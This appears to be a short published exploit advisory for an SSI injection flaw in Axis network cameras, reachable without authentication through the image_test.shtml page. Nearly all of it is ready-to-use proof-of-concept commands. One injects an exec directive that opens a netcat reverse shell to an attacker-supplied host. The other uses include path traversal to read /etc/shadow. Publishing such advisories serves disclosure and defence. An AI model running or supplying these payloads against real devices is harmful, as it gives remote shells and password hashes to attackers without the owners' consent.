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1 KiB
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28 lines
No EOL
1 KiB
Text
[STX]
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Subject: SSI Remote Execute and Read Files
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Researcher: bashis <mcw noemail eu> (August 2016)
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Release date: October, 2017 (Old stuff that I've forgotten, fixed Q3/2016 by Axis)
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Attack Vector: Remote
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Authentication: Anonymous (no credentials needed)
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Conditions: The cam must be configure to allow anonymous view
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Execute remote commands (PoC: Connect back shell):
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echo -en "GET /incl/image_test.shtml?camnbr=%3c%21--%23exec%20cmd=%22mkfifo%20/tmp/s;nc%20-w%205%20<CONNECT BACK IP>%20<CONNECT BACK PORT>%200%3C/tmp/s|/bin/sh%3E/tmp/s%202%3E/tmp/s;rm%20/tmp/s%22%20--%3e HTTP/1.0\n\n" | ncat <TARGET IP> <TARGET PORT>
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Notes:
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<CONNECT BACK IP> = LHOST IP
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<CONNECT BACK PORT> = LHOST PORT
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<TARGET IP> = RHOST IP
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<TARGET PORT> RHOST PORT
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Read remote files (PoC: Read /etc/shadow - check top of the returned output):
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echo -en "GET /incl/image_test.shtml?camnbr=%3c%21--%23include%20virtual=%22../../etc/shadow%22%20--%3e HTTP/1.0\n\n" | ncat <TARGET IP> <TARGET PORT>
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Notes:
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<TARGET IP> = RHOST IP
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<TARGET PORT> RHOST PORT
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[ETX] |